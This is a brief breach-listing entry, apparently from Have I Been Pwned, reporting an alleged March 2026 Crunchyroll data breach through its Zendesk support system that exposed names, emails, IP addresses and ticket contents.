| Email addresses In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP. |
||